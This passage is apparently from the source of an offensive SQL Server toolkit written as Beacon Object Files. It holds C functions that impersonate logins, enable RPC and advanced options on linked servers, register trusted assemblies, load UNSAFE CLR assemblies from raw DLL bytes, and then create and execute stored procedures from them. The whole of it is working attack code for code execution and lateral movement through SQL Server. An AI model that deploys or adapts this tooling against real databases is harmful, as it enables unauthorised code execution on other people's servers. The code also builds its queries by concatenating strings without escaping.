MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 79 | 80 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 81 | intFree(query); 82 | return result; 83 | } 84 | 85 | BOOL DeleteAgentJob(SQLHSTMT stmt, char* link, char* impersonate, char* jobName) 86 | { 87 | //char* use = "use msdb;"; 88 | //if (!HandleQuery(stmt, (SQLCHAR*)use, link, impersonate, TRUE)) 89 | //{ 90 | // internal_printf("[-] Error while setting msdb as the current database\n"); 91 | // return FALSE; 92 | //} 93 | 94 | char* prefix = "use msdb; EXEC dbo.sp_delete_job @job_name = '"; 95 | char* suffix = "';"; 96 | 97 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(jobName) + MSVCRT$strlen(suffix) + 1; 98 | char* query = (char*)intAlloc(totalSize); 99 | 100 | MSVCRT$strcpy(query, prefix); 101 | MSVCRT$strncat(query, jobName, totalSize - MSVCRT$strlen(query) - 1); 102 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 103 | 104 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 105 | intFree(query); 106 | return result; 107 | } 108 | 109 | -------------------------------------------------------------------------------- /src/common/sql_clr.c: -------------------------------------------------------------------------------- 1 | // 2 | // imported by bof entry files utilizing CLR functionality 3 | // include statmenet should be after the sql.c include 4 | // 5 | #include 6 | #include 7 | #include "bofdefs.h" 8 | 9 | BOOL AssemblyHashExists(SQLHSTMT stmt, char* hash, char* link, char* impersonate) 10 | { 11 | BOOL exists = FALSE; 12 | 13 | char* prefix = "SELECT * FROM sys.trusted_assemblies WHERE hash = 0x"; 14 | char* suffix = ";"; 15 | 16 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(hash) + MSVCRT$strlen(suffix) + 1; 17 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 18 | 19 | MSVCRT$strcpy(query, prefix); 20 | MSVCRT$strncat(query, hash, totalSize - MSVCRT$strlen(query) - 1); 21 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 22 | 23 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 24 | { 25 | internal_printf("[-] Error determining if assmebly hash exists\n"); 26 | intFree(query); 27 | return TRUE; 28 | } 29 | 30 | char* resultHash = GetSingleResult(stmt, FALSE); 31 | 32 | // 33 | // if we have any result, the hash exists 34 | // 35 | if (resultHash != NULL) 36 | { 37 | exists = TRUE; 38 | } 39 | else 40 | { 41 | internal_printf("[*] Assembly hash does not exist (error fetching result normal)\n"); 42 | } 43 | 44 | intFree(query); 45 | intFree(resultHash); 46 | return exists; 47 | } 48 | 49 | BOOL AddTrustedAssembly(SQLHSTMT stmt, char* dllPath, char* hash, char* link, char* impersonate) 50 | { 51 | char* prefix = "EXEC sp_add_trusted_assembly 0x"; 52 | char* mid = ",N'"; 53 | char* suffix = ", version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';"; 54 | 55 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(hash) + MSVCRT$strlen(mid) + MSVCRT$strlen(dllPath) + MSVCRT$strlen(suffix) + 1; 56 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 57 | 58 | MSVCRT$strcpy(query, prefix); 59 | MSVCRT$strncat(query, hash, totalSize - MSVCRT$strlen(query) - 1); 60 | MSVCRT$strncat(query, mid, totalSize - MSVCRT$strlen(query) - 1); 61 | MSVCRT$strncat(query, dllPath, totalSize - MSVCRT$strlen(query) - 1); 62 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 63 | 64 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 65 | intFree(query); 66 | return result; 67 | } 68 | 69 | BOOL DeleteTrustedAssemblyResources(SQLHSTMT stmt, char* assemblyName, char* function, BOOL isFunction, char* link, char* impersonate) 70 | { 71 | char* drop_proc; 72 | char* prefix; 73 | char* query; 74 | char* suffix = ";"; 75 | 76 | // 77 | // DROP FUNCTION 78 | // 79 | if (isFunction) 80 | { 81 | prefix = "DROP FUNCTION IF EXISTS "; 82 | } 83 | else 84 | { 85 | prefix = "DROP PROCEDURE IF EXISTS "; 86 | } 87 | 88 | 89 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 90 | query = (char*)intAlloc(totalSize * sizeof(char)); 91 | 92 | MSVCRT$strcpy(query, prefix); 93 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 94 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 95 | 96 | 97 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)) 98 | { 99 | internal_printf("[-] Error dropping function\n"); 100 | intFree(query); 101 | return FALSE; 102 | } 103 | 104 | intFree(query); 105 | 106 | // 107 | // DROP ASSEMBLY 108 | // 109 | char* asmPrefix = "DROP ASSEMBLY IF EXISTS "; 110 | totalSize = MSVCRT$strlen(asmPrefix) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(suffix) + 1; 111 | query = (char*)intAlloc(totalSize * sizeof(char)); 112 | 113 | MSVCRT$strcpy(query, asmPrefix); 114 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 115 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 116 | 117 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 118 | intFree(query); 119 | return result; 120 | } 121 | 122 | BOOL DeleteTrustedAssembly(SQLHSTMT stmt, char* hash, char* link, char* impersonate) 123 | { 124 | char* prefix = "EXEC sp_drop_trusted_assembly 0x"; 125 | char* suffix = ";"; 126 | 127 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(hash) + MSVCRT$strlen(suffix) + 1; 128 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 129 | 130 | MSVCRT$strcpy(query, prefix); 131 | MSVCRT$strncat(query, hash, totalSize - MSVCRT$strlen(query) - 1); 132 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 133 | 134 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 135 | intFree(query); 136 | return result; 137 | } 138 | 139 | BOOL AssemblyExists(SQLHSTMT stmt, char* assemblyName, char* link, char* impersonate) 140 | { 141 | BOOL exists; 142 | char* prefix = "SELECT * FROM sys.assemblies WHERE name = '"; 143 | char* suffix = "';"; 144 | 145 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(suffix) + 1; 146 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 147 | 148 | MSVCRT$strcpy(query, prefix); 149 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 150 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 151 | 152 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 153 | { 154 | internal_printf("[-] Error determining if assmebly exists\n"); 155 | intFree(query); 156 | return TRUE; 157 | } 158 | 159 | char* resultHash = GetSingleResult(stmt, FALSE); 160 | 161 | if (MSVCRT$strcmp(resultHash, assemblyName) == 0) 162 | { 163 | exists = TRUE; 164 | } 165 | else 166 | { 167 | exists = FALSE; 168 | } 169 | 170 | ODBC32$SQLCloseCursor(stmt); 171 | intFree(query); 172 | intFree(resultHash); 173 | return exists; 174 | } 175 | 176 | BOOL CreateAssembly(SQLHSTMT stmt, char* assemblyName, char* dllBytes, char* link, char* impersonate) 177 | { 178 | char* prefix = "CREATE ASSEMBLY "; 179 | char* mid = " FROM 0x"; 180 | char* suffix = " WITH PERMISSION_SET = UNSAFE;"; 181 | 182 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(mid) + MSVCRT$strlen(dllBytes) + MSVCRT$strlen(suffix) + 1; 183 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 184 | 185 | MSVCRT$strcpy(query, prefix); 186 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 187 | MSVCRT$strncat(query, mid, totalSize - MSVCRT$strlen(query) - 1); 188 | MSVCRT$strncat(query, dllBytes, totalSize - MSVCRT$strlen(query) - 1); 189 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 190 | 191 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 192 | intFree(query); 193 | return result; 194 | } 195 | 196 | BOOL AssemblyStoredProcExists(SQLHSTMT stmt, char* function, char* link, char* impersonate) 197 | { 198 | char* prefix = "SELECT name FROM sys.procedures WHERE type = 'PC' AND name = '"; 199 | char* suffix = "';"; 200 | 201 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 202 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 203 | 204 | MSVCRT$strcpy(query, prefix); 205 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 206 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 207 | 208 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 209 | { 210 | internal_printf("[-] Error determining if stored procedure exists\n"); 211 | intFree(query); 212 | return TRUE; 213 | } 214 | 215 | char* result = GetSingleResult(stmt, FALSE); 216 | BOOL exists = (MSVCRT$strcmp(result, function) == 0) ? TRUE : FALSE; 217 | 218 | ODBC32$SQLCloseCursor(stmt); 219 | intFree(query); 220 | intFree(result); 221 | 222 | return exists; 223 | } 224 | 225 | BOOL AssemblyFunctionExists(SQLHSTMT stmt, char* function, char* link, char* impersonate) 226 | { 227 | char* prefix = "SELECT assembly_class FROM sys.assembly_modules WHERE assembly_class = '"; 228 | char* suffix = "';"; 229 | 230 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 231 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 232 | 233 | MSVCRT$strcpy(query, prefix); 234 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 235 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 236 | 237 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 238 | { 239 | internal_printf("[-] Error determining if function exists\n"); 240 | intFree(query); 241 | return TRUE; 242 | } 243 | 244 | char* result = GetSingleResult(stmt, FALSE); 245 | BOOL exists = (MSVCRT$strcmp(result, function) == 0) ? TRUE : FALSE; 246 | 247 | intFree(query); 248 | intFree(result); 249 | 250 | return exists; 251 | } 252 | 253 | BOOL CreateAssemblyStoredProc(SQLHSTMT stmt, char* assemblyName, char* function, BOOL Adsi, char* link, char* impersonate) 254 | { 255 | char* query = NULL; 256 | 257 | if (Adsi) 258 | { 259 | // 260 | // for ADSI BOF 261 | // 262 | char* prefix = "CREATE FUNCTION [dbo]."; 263 | char* part2 = "(@port int) RETURNS NVARCHAR(MAX) AS EXTERNAL NAME "; 264 | char* suffix = ".[ldapAssembly.LdapSrv].listen;"; 265 | 266 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(part2) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(suffix) + 1; 267 | query = (char*)intAlloc(totalSize * sizeof(char)); 268 | 269 | MSVCRT$strcpy(query, prefix); 270 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 271 | MSVCRT$strncat(query, part2, totalSize - MSVCRT$strlen(query) - 1); 272 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 273 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 274 | } 275 | else 276 | { 277 | // 278 | // for CLR BOF 279 | // 280 | char* prefix = "CREATE PROCEDURE [dbo].["; 281 | char* part2 = "] AS EXTERNAL NAME ["; 282 | char* part3 = "].[StoredProcedures].["; 283 | char* suffix = "];"; 284 | 285 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(part2) + MSVCRT$strlen(assemblyName) + MSVCRT$strlen(part3) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 286 | query = (char*)intAlloc(totalSize * sizeof(char)); 287 | 288 | MSVCRT$strcpy(query, prefix); 289 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 290 | MSVCRT$strncat(query, part2, totalSize - MSVCRT$strlen(query) - 1); 291 | MSVCRT$strncat(query, assemblyName, totalSize - MSVCRT$strlen(query) - 1); 292 | MSVCRT$strncat(query, part3, totalSize - MSVCRT$strlen(query) - 1); 293 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 294 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 295 | } 296 | 297 | // 298 | // special case for impersonation here 299 | // CREATE PROCEDURE statements are not allowed in a batch with other statements 300 | // 301 | BOOL result; 302 | if (impersonate != NULL) 303 | { 304 | char* iPrefix = "EXECUTE AS LOGIN = '"; 305 | char* iSuffix = "';"; 306 | 307 | size_t totalSize = MSVCRT$strlen(iPrefix) + MSVCRT$strlen(impersonate) + MSVCRT$strlen(iSuffix) + 1; 308 | char* impersonateQuery = (char*)intAlloc(totalSize * sizeof(char)); 309 | 310 | MSVCRT$strcpy(impersonateQuery, iPrefix); 311 | MSVCRT$strncat(impersonateQuery, impersonate, totalSize - MSVCRT$strlen(impersonateQuery) - 1); 312 | MSVCRT$strncat(impersonateQuery, iSuffix, totalSize - MSVCRT$strlen(impersonateQuery) - 1); 313 | 314 | if (!ExecuteQuery(stmt, (SQLCHAR*)impersonateQuery)) 315 | { 316 | internal_printf("[-] Error impersonating user\n"); 317 | intFree(impersonateQuery); 318 | return FALSE; 319 | } 320 | 321 | intFree(impersonateQuery); 322 | result = ExecuteQuery(stmt, (SQLCHAR*)query); 323 | } 324 | else 325 | { 326 | result = HandleQuery(stmt, (SQLCHAR*)query, link, NULL, TRUE); 327 | } 328 | intFree(query); 329 | return result; 330 | } 331 | 332 | BOOL ExecuteAssemblyStoredProc(SQLHSTMT stmt, char* function, char* link, char* impersonate) 333 | { 334 | char* prefix = "EXEC "; 335 | char* suffix = ";"; 336 | 337 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(function) + MSVCRT$strlen(suffix) + 1; 338 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 339 | 340 | MSVCRT$strcpy(query, prefix); 341 | MSVCRT$strncat(query, function, totalSize - MSVCRT$strlen(query) - 1); 342 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 343 | 344 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE); 345 | intFree(query); 346 | return result; 347 | } -------------------------------------------------------------------------------- /src/common/sql_modules.c: -------------------------------------------------------------------------------- 1 | // 2 | // imported by bof entry files to check or toggle status of modules 3 | // include statmenet should be after the sql.c include 4 | // 5 | #include 6 | #include 7 | #include "bofdefs.h" 8 | 9 | // 10 | // Configure sp_serveroption or sp_configure 11 | // 12 | BOOL ToggleModule(SQLHSTMT stmt, char* name, char* value, char* link, char* impersonate) { 13 | char* query = NULL; 14 | size_t totalSize; 15 | SQLRETURN ret; 16 | 17 | if (MSVCRT$strcmp(name, "rpc") == 0) 18 | { 19 | char* prefix = "EXEC sp_serveroption '"; 20 | char* middle = "', 'rpc out', '"; 21 | char* suffix = "';"; 22 | 23 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(link) + MSVCRT$strlen(middle) + MSVCRT$strlen(value) + MSVCRT$strlen(suffix) + 1; 24 | query = (char*)intAlloc(totalSize * sizeof(char)); 25 | 26 | MSVCRT$strcpy(query, prefix); 27 | MSVCRT$strncat(query, link, totalSize - MSVCRT$strlen(query) - 1); 28 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 29 | MSVCRT$strncat(query, value, totalSize - MSVCRT$strlen(query) - 1); 30 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 31 | 32 | // 33 | // link will always be passed as NULL here 34 | // 35 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, NULL, impersonate, FALSE); 36 | 37 | intFree(query); 38 | 39 | return result; 40 | } 41 | else 42 | { 43 | char* reconfigure = "RECONFIGURE;"; 44 | char* advOpts = "EXEC sp_configure 'show advanced options', 1;"; 45 | 46 | // 47 | // setting TRUE for using rpc query 48 | // 49 | if (!HandleQuery(stmt, (SQLCHAR*)advOpts, link, impersonate, TRUE)) 50 | { 51 | return FALSE; 52 | } 53 | 54 | 55 | // 56 | // Clear the cursor 57 | // 58 | ClearCursor(stmt); 59 | 60 | // 61 | // Reconfigure 62 | // 63 | if (!HandleQuery(stmt, (SQLCHAR*)reconfigure, link, impersonate, TRUE)) 64 | { 65 | return FALSE; 66 | } 67 | 68 | // 69 | // Clear the cursor 70 | // 71 | ClearCursor(stmt); 72 | 73 | // 74 | // toggle on or off 75 | // 76 | char* prefix = "EXEC sp_configure '"; 77 | char* middle = "', "; 78 | char* suffix = ";"; 79 | 80 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(name) + MSVCRT$strlen(middle) + MSVCRT$strlen(value) + MSVCRT$strlen(suffix) + 1; 81 | query = (char*)intAlloc(totalSize * sizeof(char)); 82 | 83 | MSVCRT$strcpy(query, prefix); 84 | MSVCRT$strncat(query, name, totalSize - MSVCRT$strlen(query) - 1); 85 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 86 | MSVCRT$strncat(query, value, totalSize - MSVCRT$strlen(query) - 1); 87 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 88 | 89 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)) 90 | { 91 | intFree(query); 92 | return FALSE; 93 | } 94 | 95 | // 96 | // Clear the cursor 97 | // 98 | ClearCursor(stmt); 99 | 100 | // 101 | // Reconfigure 102 | // 103 | BOOL result = HandleQuery(stmt, (SQLCHAR*)reconfigure, link, impersonate, TRUE); 104 | 105 | intFree(query); 106 | 107 | return result; 108 | } 109 | } 110 | 111 | // 112 | // Query the status of RPC on a linked server 113 | // 114 | BOOL CheckRpcOnLink(SQLHSTMT stmt, char* link, char* impersonate) 115 | { 116 | char* prefix = "SELECT is_rpc_out_enabled FROM sys.servers WHERE lower(name) like '%"; 117 | char* suffix = "%';"; 118 | 119 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(link) + MSVCRT$strlen(suffix) + 1; 120 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 121 | 122 | MSVCRT$strcpy(query, prefix); 123 | MSVCRT$strncat(query, link, totalSize - MSVCRT$strlen(query) - 1); 124 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 125 | 126 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, NULL, impersonate, FALSE); 127 | 128 | intFree(query); 129 | 130 | return result; 131 | } 132 | 133 | // 134 | // Used to verify rpc status before executing a rpc linked query 135 | // 136 | BOOL IsRpcEnabled(SQLHSTMT stmt, char* link) 137 | { 138 | BOOL enabled; 139 | 140 | char* prefix = "SELECT is_rpc_out_enabled " 141 | "FROM sys.servers WHERE name = '"; 142 | char* suffix = "';"; 143 | 144 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(link) + MSVCRT$strlen(suffix) + 1; 145 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 146 | 147 | MSVCRT$strcpy(query, prefix); 148 | MSVCRT$strncat(query, link, totalSize - MSVCRT$strlen(query) - 1); 149 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 150 | 151 | if (!HandleQuery(stmt, (SQLCHAR*)query, NULL, NULL, FALSE)) 152 | { 153 | intFree(query); 154 | return FALSE; 155 | } 156 | 157 | char* result = GetSingleResult(stmt, FALSE); 158 | 159 | if (result[0] == '1') 160 | { 161 | enabled = TRUE; 162 | } 163 | else 164 | { 165 | enabled = FALSE; 166 | } 167 | 168 | intFree(query); 169 | intFree(result); 170 | 171 | return enabled; 172 | } 173 | 174 | // 175 | // Execute query and hold results for printing 176 | // 177 | BOOL CheckModuleStatus(SQLHSTMT stmt, char* name, char* link, char* impersonate) 178 | { 179 | char* prefix = "SELECT CAST(name AS NVARCHAR(128)) AS name, " 180 | "CAST(value_in_use AS INT) AS value_in_use\n" 181 | "FROM sys.configurations\n" 182 | "WHERE name = '"; 183 | char* suffix = "';"; 184 | 185 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(name) + MSVCRT$strlen(suffix) + 1; 186 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 187 | 188 | MSVCRT$strcpy(query, prefix); 189 | MSVCRT$strncat(query, name, totalSize - MSVCRT$strlen(query) - 1); 190 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 191 | 192 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE); 193 | 194 | intFree(query); 195 | 196 | return result; 197 | } 198 | 199 | // 200 | // Used to verify module status before executing 201 | // 202 | BOOL IsModuleEnabled(SQLHSTMT stmt, char* name, char* link, char* impersonate) 203 | { 204 | BOOL enabled; 205 | 206 | char* prefix = "SELECT CAST(value_in_use AS INT) AS value_in_use " 207 | "FROM sys.configurations " 208 | "WHERE name = '"; 209 | char* suffix = "';"; 210 | 211 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(name) + MSVCRT$strlen(suffix) + 1; 212 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 213 | 214 | MSVCRT$strcpy(query, prefix); 215 | MSVCRT$strncat(query, name, totalSize - MSVCRT$strlen(query) - 1); 216 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 217 | 218 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 219 | { 220 | return FALSE; 221 | } 222 | 223 | char* result = GetSingleResult(stmt, FALSE); 224 | 225 | if (result[0] == '1') 226 | { 227 | enabled = TRUE; 228 | } 229 | else 230 | { 231 | enabled = FALSE; 232 | } 233 | 234 | intFree(query); 235 | intFree(result); 236 | 237 | return enabled; 238 | } --------------------------------------------------------------------------------